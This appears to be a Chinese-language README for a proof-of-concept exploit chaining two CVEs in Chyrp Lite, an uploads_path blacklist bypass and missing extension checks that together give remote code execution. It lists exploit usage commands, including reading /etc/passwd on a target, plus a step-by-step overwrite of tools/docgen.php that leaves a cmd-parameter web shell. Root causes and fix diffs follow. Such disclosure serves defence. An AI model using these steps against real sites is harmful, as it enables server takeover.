
CVE-2026-53767 + CVE-2026-53768 - Chyrp Lite ≤ 2026.01 中通过 uploads_path 黑名单绕过和缺失的扩展名验证实现的认证 RCE
CVE-2026-53767 + CVE-2026-53768 - Chyrp Lite ≤ 2026.01(“Iriomote”)中的已认证 RCE 漏洞
链式攻击:
uploads_path黑名单绕过(CVE-2026-53768)+admin_update_upload()缺少文件扩展名验证(CVE-2026-53767)→ 以www-data身份远程执行代码
Chyrp Lite ≤ 2026.01 存在已认证远程代码执行链漏洞,任何拥有 change_settings 和 edit_upload 权限(默认为管理员)的用户均可利用。
| CVE | CVE-2026-53767 · CVE-2026-53768 |
| CVSS | 9.1 严重 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) |
| 受影响版本 | xenocrat/chyrp-lite ≤ 2026.01 |
| 已修复版本 | 提交 1489dc9 |
| 安全公告 | GHSA-8h86-c24h-5jp3 · GHSA-r9w7-5h94-wq5x |
| 报告者 | iltosec |
python chyrp_rce_poc.py -h
usage: chyrp_rce_poc.py [-h] -u URL -U USERNAME -P PASSWORD [-c CMD] [-i]
[--config CONFIG] [--restore RESTORE]
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:'
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -c 'cat /etc/passwd'

python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -i

步骤 1 - 身份认证
步骤 2 - 将 uploads_path 重定向到 tools/(不在黑名单中)
image
image
步骤 3 - 覆盖 tools/docgen.php(替换时无扩展名检查)
image
image
步骤 4 - 执行
http://127.0.0.1/chyrp/tools/docgen.php?cmd=id
image
uploads_path 黑名单不完整includes/controller/Admin.php 使用硬编码黑名单对 uploads_path 进行验证:
admin | ajax | feathers | fonts | includes | modules | themes
tools/ 目录随 Chyrp Lite 一同发布,其中包含可执行的 .php 文件(docgen.php、gettext.php、triggers.php),但该目录不在黑名单中。提交 uploads_path=tools 可通过验证,并被持久化保存到 config.json.php。
admin_update_upload() 缺少扩展名验证upload_tester()(includes/helpers.php)仅检查 PHP 上传错误码和文件大小——它对替换文件不进行任何扩展名验证。目标文件名取自 $_POST['file'],并基于当前的 uploads_path 进行解析。由于 tools/docgen.php 已存在(满足 is_file() 检查),该文件会被任意内容静默覆盖。
注意:
--config参数指向config.json.php,用于 CSRF 令牌计算。如果该文件在本地不可读,脚本将自动回退为从 HTML 响应中提取令牌。
请升级至包含提交 1489dc9 或之后提交的版本。
已应用两项独立的修复:
修复 1 - 将 tools(以及 licenses)添加到 uploads_path 黑名单:
// Before
"/^$qdir((admin|ajax|feathers|fonts|includes|modules|themes)$qdir|$)/"
// After
"/^$qdir((admin|ajax|feathers|fonts|includes|licenses|modules|themes|tools)$qdir|$)/"
修复 2 - 在 admin_update_upload() 中根据白名单验证上传文件的扩展名:
$new_extension = strtolower(pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION));
$whitelist = upload_filter_whitelist();
if (!in_array($new_extension, $whitelist))
error(__("Error"), __("File type is not allowed."), code: 422);
本 PoC 仅用于教育和研究目的。请仅对您拥有所有权或已获得明确书面授权测试的系统使用。作者对任何滥用行为不承担任何责任。